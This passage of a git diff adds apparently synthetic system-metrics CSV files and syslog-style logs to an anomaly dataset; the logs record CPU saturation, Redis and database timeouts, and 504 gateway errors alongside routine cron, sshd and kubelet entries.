+2025-07-26T10:02:40Z,27.84,35.43,20.92,0.63,1.83 +2025-07-26T10:02:45Z,33.18,40.53,15.72,1.4,1.25 +2025-07-26T10:02:50Z,36.66,39.85,24.84,1.26,1.09 +2025-07-26T10:02:55Z,39.37,40.19,28.83,1.15,0.84 +2025-07-26T10:03:00Z,46.01,36.44,21.53,1.15,1.07 +2025-07-26T10:03:05Z,47.78,44.68,25.85,1.02,1.21 +2025-07-26T10:03:10Z,51.77,35.31,18.07,0.63,0.99 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+2025-07-26T10:06:35Z,99.43,42.96,18.83,1.2,1.55 +2025-07-26T10:06:40Z,99.3,39.43,19.81,0.56,0.99 +2025-07-26T10:06:45Z,99.99,44.08,27.88,1.15,1.45 +2025-07-26T10:06:50Z,99.74,38.4,22.02,0.63,1.71 +2025-07-26T10:06:55Z,99.66,43.18,15.78,0.85,1.8 +2025-07-26T10:07:00Z,98.8,37.47,15.2,0.93,1.1 +2025-07-26T10:07:05Z,99.14,43.47,18.12,1.42,1.47 +2025-07-26T10:07:10Z,98.11,43.56,23.11,1.08,1.68 +2025-07-26T10:07:15Z,98.24,41.71,25.06,1.09,0.86 +2025-07-26T10:07:20Z,98.17,43.44,29.66,1.34,1.83 +2025-07-26T10:07:25Z,99.78,39.23,18.43,1.09,0.91 diff --git a/anom_dataset/scenario_1/anom_1_28.log b/anom_dataset/scenario_1/anom_1_28.log new file mode 100644 index 0000000000000000000000000000000000000000..0bac52b148a8fffa790ba81f3f9db1ab5a67bfbb --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_28.log @@ -0,0 +1,65 @@ +Jul 26 09:59:58 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 26 10:00:18 systemd[1]: Started Session 2 of user ubuntu. +Jul 26 10:00:39 sshd[12086]: Accepted publickey for ubuntu from 192.168.1.101 port 58157 ssh2 +Jul 26 10:00:57 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 26 10:01:17 sshd[16322]: Accepted publickey for ubuntu from 192.168.1.101 port 51970 ssh2 +Jul 26 10:01:39 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 26 10:01:59 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 26 10:02:18 sshd[13826]: Accepted publickey for ubuntu from 192.168.1.101 port 50794 ssh2 +Jul 26 10:02:39 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 26 10:02:40 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:02:43 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:02:57 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 26 10:03:02 nginx[1123]: GET /api/user/profile HTTP/1.1 504 Gateway Timeout +Jul 26 10:03:13 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:03:18 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:03:19 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 26 10:03:28 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:03:37 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:03:38 sshd[13006]: Accepted publickey for ubuntu from 192.168.1.101 port 50427 ssh2 +Jul 26 10:03:41 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:03:49 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:03:57 nginx[1123]: GET /api/user/profile HTTP/1.1 504 Gateway Timeout +Jul 26 10:03:58 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 26 10:04:04 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:04:07 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:04:14 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:04:16 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:04:19 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 26 10:04:27 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:04:34 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:04:37 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 26 10:04:44 nginx[1123]: GET /api/user/profile HTTP/1.1 504 Gateway Timeout +Jul 26 10:04:48 nginx[1123]: GET /api/user/profile HTTP/1.1 504 Gateway Timeout +Jul 26 10:04:55 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:04:58 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 26 10:05:03 nginx[1123]: GET /api/user/profile HTTP/1.1 504 Gateway Timeout +Jul 26 10:05:06 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:05:12 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:05:16 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:05:17 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 26 10:05:24 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:05:26 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:05:34 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:05:36 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:05:39 systemd[1]: Started Session 6 of user ubuntu. +Jul 26 10:05:45 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:05:50 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:05:57 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 26 10:06:00 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:06:02 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:06:06 nginx[1123]: GET /api/user/profile HTTP/1.1 504 Gateway Timeout +Jul 26 10:06:17 cron[11432]: (root) CMD (/usr/local/bin/rotate_logs.sh) +Jul 26 10:06:18 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:06:24 nginx[1123]: GET /api/user/profile HTTP/1.1 504 Gateway Timeout +Jul 26 10:06:26 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:06:33 nginx[1123]: GET /api/user/profile HTTP/1.1 504 Gateway Timeout +Jul 26 10:06:39 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 26 10:06:46 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:06:53 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:06:57 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 26 10:07:04 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Jul 26 10:07:07 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:07:12 app[4567]: ERROR processing request: upstream request timeout +Jul 26 10:07:17 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 26 10:07:21 app[4567]: ERROR processing request: upstream request timeout diff --git a/anom_dataset/scenario_1/anom_1_29.csv b/anom_dataset/scenario_1/anom_1_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..e56855b03f5f588a0841e3e9ab09377454d979a2 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,24.64,39.45,34.19,1.28,1.33 +2025-07-02T10:00:05Z,18.5,41.06,33.62,0.83,0.94 +2025-07-02T10:00:10Z,24.32,37.74,28.61,0.74,1.32 +2025-07-02T10:00:15Z,24.38,35.39,25.13,1.06,1.38 +2025-07-02T10:00:20Z,14.29,39.85,33.76,1.29,1.17 +2025-07-02T10:00:25Z,21.04,38.8,27.27,1.3,1.44 +2025-07-02T10:00:30Z,21.71,39.92,31.62,1.16,1.65 +2025-07-02T10:00:35Z,27.1,35.23,29.38,0.91,1.0 +2025-07-02T10:00:40Z,27.7,35.61,31.74,1.21,1.52 +2025-07-02T10:00:45Z,11.78,40.94,30.49,1.02,1.28 +2025-07-02T10:00:50Z,17.5,43.01,32.83,0.66,1.01 +2025-07-02T10:00:55Z,23.73,41.87,31.75,1.14,1.74 +2025-07-02T10:01:00Z,28.78,41.44,20.16,0.92,1.09 +2025-07-02T10:01:05Z,26.03,35.82,32.18,0.76,0.97 +2025-07-02T10:01:10Z,20.48,35.0,30.68,1.02,1.77 +2025-07-02T10:01:15Z,27.61,41.3,33.72,1.01,1.41 +2025-07-02T10:01:20Z,27.98,40.7,25.88,1.15,1.74 +2025-07-02T10:01:25Z,11.62,41.91,21.04,0.56,1.71 +2025-07-02T10:01:30Z,21.07,42.55,29.86,0.5,1.72 +2025-07-02T10:01:35Z,18.08,36.79,29.3,0.63,1.35 +2025-07-02T10:01:40Z,17.52,36.51,31.33,0.86,1.38 +2025-07-02T10:01:45Z,13.66,38.09,33.28,0.78,1.09 +2025-07-02T10:01:50Z,16.76,36.75,26.19,1.47,1.67 +2025-07-02T10:01:55Z,12.84,44.42,27.02,1.04,0.73 +2025-07-02T10:02:00Z,16.31,36.96,29.91,0.58,1.68 +2025-07-02T10:02:05Z,17.31,39.33,34.2,0.6,1.4 +2025-07-02T10:02:10Z,28.64,43.52,34.91,0.89,0.88 +2025-07-02T10:02:15Z,25.26,35.44,32.44,1.0,0.96 +2025-07-02T10:02:20Z,18.68,42.54,21.58,0.88,1.43 +2025-07-02T10:02:25Z,29.13,42.48,31.91,0.64,1.52 +2025-07-02T10:02:30Z,15.15,39.08,31.43,1.03,1.31 +2025-07-02T10:02:35Z,28.92,38.3,22.39,1.04,1.37 +2025-07-02T10:02:40Z,22.25,44.39,33.13,1.34,1.62 +2025-07-02T10:02:45Z,10.62,37.18,30.59,1.19,0.73 +2025-07-02T10:02:50Z,24.89,39.35,25.69,1.38,0.74 +2025-07-02T10:02:55Z,14.81,37.35,34.89,1.04,0.83 +2025-07-02T10:03:00Z,29.71,43.29,26.28,1.01,1.12 +2025-07-02T10:03:05Z,30.91,42.95,25.39,1.17,0.74 +2025-07-02T10:03:10Z,37.73,42.17,26.92,1.06,1.53 +2025-07-02T10:03:15Z,43.8,35.49,32.26,1.11,1.61 +2025-07-02T10:03:20Z,52.98,44.45,20.9,0.9,1.79 +2025-07-02T10:03:25Z,57.53,43.88,22.97,1.29,1.2 +2025-07-02T10:03:30Z,61.56,44.01,27.8,0.81,1.3 +2025-07-02T10:03:35Z,73.11,35.73,25.81,1.13,0.94 +2025-07-02T10:03:40Z,73.98,42.98,31.34,1.12,1.23 +2025-07-02T10:03:45Z,79.21,43.39,28.39,0.61,1.28 +2025-07-02T10:03:50Z,87.36,38.52,20.35,0.91,1.25 +2025-07-02T10:03:55Z,90.56,39.44,34.43,1.35,1.66 +2025-07-02T10:04:00Z,93.25,42.87,23.7,1.24,0.91 +2025-07-02T10:04:05Z,95.25,38.86,20.28,0.87,1.68 +2025-07-02T10:04:10Z,98.02,35.45,32.0,1.02,1.07 +2025-07-02T10:04:15Z,95.27,40.29,25.17,1.35,1.72 +2025-07-02T10:04:20Z,99.62,39.66,20.03,0.71,1.54 +2025-07-02T10:04:25Z,97.14,43.62,24.05,1.01,1.01 +2025-07-02T10:04:30Z,90.64,39.8,21.93,1.14,1.41 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b/anom_dataset/scenario_1/anom_1_29.log @@ -0,0 +1,144 @@ +Jul 02 10:00:04 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:00:10 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 02 10:00:18 webapp[4567]: INFO User authentication successful for user_id: user_183 +Jul 02 10:00:21 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:00:30 webapp[4567]: INFO User authentication successful for user_id: user_156 +Jul 02 10:00:50 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:00:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:01 webapp[4567]: INFO User authentication successful for user_id: user_134 +Jul 02 10:01:07 webapp[4567]: INFO User authentication successful for user_id: user_128 +Jul 02 10:01:08 cron[10049]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:09 webapp[4567]: INFO User authentication successful for user_id: user_117 +Jul 02 10:01:10 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:01:13 webapp[4567]: INFO User authentication successful for user_id: user_171 +Jul 02 10:01:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:17 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:01:23 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:01:26 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:01:44 systemd[1]: Started Session 5 of user ubuntu. +Jul 02 10:01:50 sshd[10099]: Accepted publickey for ubuntu from 192.168.1.175 port 56541 ssh2 +Jul 02 10:01:53 cron[10100]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:01:54 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 02 10:02:03 sshd[10109]: Accepted publickey for ubuntu from 192.168.1.152 port 48419 ssh2 +Jul 02 10:02:13 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:02:16 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:18 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:02:33 webapp[4567]: INFO User authentication successful for user_id: user_105 +Jul 02 10:02:35 nginx[1123]: GET /api/v1/healthz HTTP/1.1 200 OK +Jul 02 10:02:41 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:43 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:02:46 webapp[4567]: INFO User authentication successful for user_id: user_105 +Jul 02 10:02:48 webapp[4567]: INFO Processing request for endpoint /data/items +Jul 02 10:02:55 webapp[4567]: INFO User authentication successful for user_id: user_165 +Jul 02 10:03:03 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:12 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:22 sshd[10164]: Accepted publickey for ubuntu from 192.168.1.180 port 50048 ssh2 +Jul 02 10:03:24 webapp[4567]: WARN Request processing time exceeded threshold: 1875ms for request_id: 20250702-81167 +Jul 02 10:03:25 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:28 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:34 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:35 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:37 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:38 webapp[4567]: WARN Request processing time exceeded threshold: 1213ms for request_id: 20250702-44650 +Jul 02 10:03:40 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:42 webapp[4567]: WARN Request processing time exceeded threshold: 1420ms for request_id: 20250702-24544 +Jul 02 10:03:43 systemd[1]: Started Session 6 of user ubuntu. +Jul 02 10:03:46 webapp[4567]: WARN Request processing time exceeded threshold: 1390ms for request_id: 20250702-43733 +Jul 02 10:03:47 webapp[4567]: WARN Request processing time exceeded threshold: 1612ms for request_id: 20250702-62505 +Jul 02 10:03:48 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:51 webapp[4567]: WARN High contention on resource lock: database_pool +Jul 02 10:03:52 webapp[4567]: WARN Request processing time exceeded threshold: 1643ms for request_id: 20250702-62113 +Jul 02 10:03:59 webapp[4567]: WARN Request processing time exceeded threshold: 1300ms for request_id: 20250702-14617 +Jul 02 10:04:01 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:03 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:06 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:09 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:10 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:12 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:17 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-46589 +Jul 02 10:04:19 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-58884 +Jul 02 10:04:20 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:23 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:24 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:04:26 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:04:29 systemd[1]: Started Session 3 of user ubuntu. +Jul 02 10:04:30 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-89931 +Jul 02 10:04:33 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:34 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-83069 +Jul 02 10:04:41 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:44 systemd[1]: Started Session 4 of user ubuntu. +Jul 02 10:04:46 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:49 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:04:51 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-61547 +Jul 02 10:04:54 systemd[1]: Started Session 5 of user ubuntu. +Jul 02 10:04:55 systemd[1]: Started Session 4 of user ubuntu. +Jul 02 10:04:56 systemd[1]: Started Session 3 of user ubuntu. +Jul 02 10:04:57 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:04:58 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:05:01 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:05:04 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:05:06 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-49828 +Jul 02 10:05:07 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:12 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-53815 +Jul 02 10:05:15 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-45920 +Jul 02 10:05:18 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-73175 +Jul 02 10:05:19 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:05:24 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-70618 +Jul 02 10:05:25 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:27 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-90008 +Jul 02 10:05:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:33 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-48450 +Jul 02 10:05:39 systemd[1]: Started Session 7 of user ubuntu. +Jul 02 10:05:40 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:05:42 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-97896 +Jul 02 10:05:44 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:05:46 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-77971 +Jul 02 10:05:47 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-60921 +Jul 02 10:05:49 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-91838 +Jul 02 10:05:52 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:05:55 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-84191 +Jul 02 10:05:57 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-38274 +Jul 02 10:05:59 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:02 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:06:04 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:05 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:06:08 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:06:09 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:06:13 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-73372 +Jul 02 10:06:14 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:17 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:06:18 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-36969 +Jul 02 10:06:21 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:24 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:06:25 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:06:28 sshd[10518]: Accepted publickey for ubuntu from 192.168.1.163 port 44137 ssh2 +Jul 02 10:06:29 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:06:31 cron[10524]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:34 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:06:38 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:40 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:06:41 sshd[10541]: Accepted publickey for ubuntu from 192.168.1.131 port 46312 ssh2 +Jul 02 10:06:43 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:45 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:06:47 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:50 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:06:52 cron[10565]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:06:55 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:57 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-44005 +Jul 02 10:06:58 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-72408 +Jul 02 10:06:59 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:07:01 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:07:03 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:07:05 sshd[10596]: Accepted publickey for ubuntu from 192.168.1.133 port 48747 ssh2 +Jul 02 10:07:07 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:07:08 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:07:09 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:07:11 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 10:07:13 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-11357 +Jul 02 10:07:14 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:07:15 systemd[1]: Started Session 3 of user ubuntu. +Jul 02 10:07:17 systemd[1]: Started Session 9 of user ubuntu. +Jul 02 10:07:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:07:22 webapp[4567]: ERROR Request failed due to database query timeout for request_id: 20250702-57135 +Jul 02 10:07:23 webapp[4567]: ERROR Timeout connecting to upstream service: redis-cache +Jul 02 10:07:25 systemd[1]: Started Session 4 of user ubuntu. diff --git a/anom_dataset/scenario_1/anom_1_3.csv b/anom_dataset/scenario_1/anom_1_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..653ab31c4327e275cf59141266651161bdaf611d --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_3.csv @@ -0,0 +1,91 @@ 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+2025-08-15T14:06:35Z,98.98,31.95,27.87,1.96,1.91 +2025-08-15T14:06:40Z,98.78,26.4,16.92,1.15,1.97 +2025-08-15T14:06:45Z,98.37,29.49,15.31,1.09,1.27 +2025-08-15T14:06:50Z,99.82,30.74,26.56,1.28,1.38 +2025-08-15T14:06:55Z,99.65,27.31,14.09,1.05,1.8 +2025-08-15T14:07:00Z,99.86,28.94,22.47,1.69,1.2 +2025-08-15T14:07:05Z,99.85,32.46,23.79,1.93,1.39 +2025-08-15T14:07:10Z,98.23,29.53,14.92,1.21,1.12 +2025-08-15T14:07:15Z,99.71,28.19,24.98,1.55,1.85 +2025-08-15T14:07:20Z,98.12,32.16,15.14,1.94,1.03 +2025-08-15T14:07:25Z,99.52,31.32,19.16,1.35,1.15 diff --git a/anom_dataset/scenario_1/anom_1_3.log b/anom_dataset/scenario_1/anom_1_3.log new file mode 100644 index 0000000000000000000000000000000000000000..1ff86d1c431e6735aa26f58d86e03cb168e0604d --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_3.log @@ -0,0 +1,50 @@ +Aug 15 14:00:00 app-server[4567]: GET /api/v1/health status=200 OK +Aug 15 14:00:00 systemd[1]: Starting session cleanup... +Aug 15 14:00:40 app-server[4567]: GET /api/v1/health status=200 OK +Aug 15 14:00:55 systemd[1]: Starting session cleanup... +Aug 15 14:01:20 app-server[4567]: GET /api/v1/health status=200 OK +Aug 15 14:01:50 systemd[1]: Starting session cleanup... +Aug 15 14:02:00 app-server[4567]: GET /api/v1/health status=200 OK +Aug 15 14:02:40 app-server[4567]: GET /api/v1/health status=200 OK +Aug 15 14:02:45 systemd[1]: Starting session cleanup... +Aug 15 14:03:00 app-server[4567]: POST /api/v1/report/generate with payload {'user_id': 'all', 'start_date': '2020-01-01'} +Aug 15 14:03:01 app-server[4567]: WARN - Report generation for all users is taking longer than expected. +Aug 15 14:03:10 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:03:20 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:03:20 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:03:30 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:03:40 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:03:45 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:03:50 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:03:50 sshd[8910]: Accepted publickey for user 'monitor' from 10.0.1.5 port 12345 ssh2 +Aug 15 14:04:00 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:04:10 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:04:10 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:04:20 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:04:30 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:04:35 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:04:40 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:04:50 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:05:00 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:05:00 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:05:05 sshd[8910]: Accepted publickey for user 'monitor' from 10.0.1.5 port 12345 ssh2 +Aug 15 14:05:10 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:05:20 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:05:25 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:05:30 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:05:40 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:05:50 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:05:50 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:06:00 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:06:10 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:06:15 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:06:20 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:06:20 sshd[8910]: Accepted publickey for user 'monitor' from 10.0.1.5 port 12345 ssh2 +Aug 15 14:06:30 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:06:40 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:06:40 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:06:50 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:07:00 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:07:05 app-server[4567]: GET /api/v1/some/other/endpoint status=504 Gateway Timeout +Aug 15 14:07:10 app-server[4567]: ERROR - Request processing time exceeded limit for GET /api/v1/dashboard +Aug 15 14:07:20 app-server[4567]: ERROR - Request processing time exceeded limit for GET 